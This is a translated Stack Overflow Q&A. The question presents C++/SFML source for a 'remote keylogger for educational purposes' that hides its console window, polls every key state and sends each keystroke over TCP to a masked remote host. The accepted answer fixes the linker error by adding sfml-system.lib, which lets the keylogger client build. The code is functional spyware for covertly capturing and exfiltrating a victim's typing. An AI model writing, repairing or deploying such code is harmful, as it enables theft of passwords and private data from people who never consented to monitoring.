因此,我正在为教育性目的开发远程键盘记录程序。由于某些原因,当我尝试编译客户端时,出现此错误(我正在使用SFML):

Error   LNK2001 unresolved external symbol "__declspec(dllimport) public:
static class sf::Time const sf::Time::Zero" (__imp_?Zero@Time@sf@@2V12@B)

奇怪的是服务器可以正常编译并且使用相同的库。我已经无数次地检查了我的链接器设置,甚至尝试创建一个新项目,但是都没有成功。

这是代码:
#include <fstream>
#include <Windows.h>
#include <SFML\Network.hpp>
#include <iostream>

void ConnectToHost(sf::TcpSocket* socket)
{
    sf::Socket::Status status = socket->connect("*****", ***);

    if (status != sf::Socket::Done)
        std::cout << "Error connecting to socket." << std::endl;

    return;
}

int main()
{
    FreeConsole();

    sf::TcpSocket socket;
    ConnectToHost(&socket);

    while (1)
    {
        for (char key = 8; key <= 190; key++)
        {
            if (GetAsyncKeyState(key) == -32767)
            {
                char key_sent[50] = { key };
                socket.send(key_sent, sizeof(key_sent));
            }
        }
    }
    return 0;
}

我目前正在链接sfml-network-d.lib进行调试,并链接sfml-network.lib进行发布,但是我还尝试了链接所有sfml动态链接库,因此与该链接没有任何关系。它。无论如何,我认为这只是一个我已经忽略或忽略的粗心大意的错误,但是由于我已经研究了几天,所以以为我会将其发布为问题。

最佳答案

您的错误表明您的代码没有错,这是链接的问题。您正在链接到sfml-network.lib,但是需要链接到sfml-system.lib才能获取sf::Time。

sfml-network.lib仅为您提供:Ftp,Http,IpAddress,Packet,Socket,SocketSelector,TcpListener,TcpSocket,UdpSocket。

SFML网络依赖于here描述的SFML系统。每当使用SFML网络时,您都需要显式链接到SFML系统。

另一个简短的说明是您提到了链接到动态链接库。您不应链接到任何DLL,实际上,链接的.lib可让您导入这些DLL。如果要执行相反的操作(静态链接),则需要链接到* -s.lib变体。

关于c++ - SFML无法解析的外部符号sf::Time,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/44271402/

10-13 09:38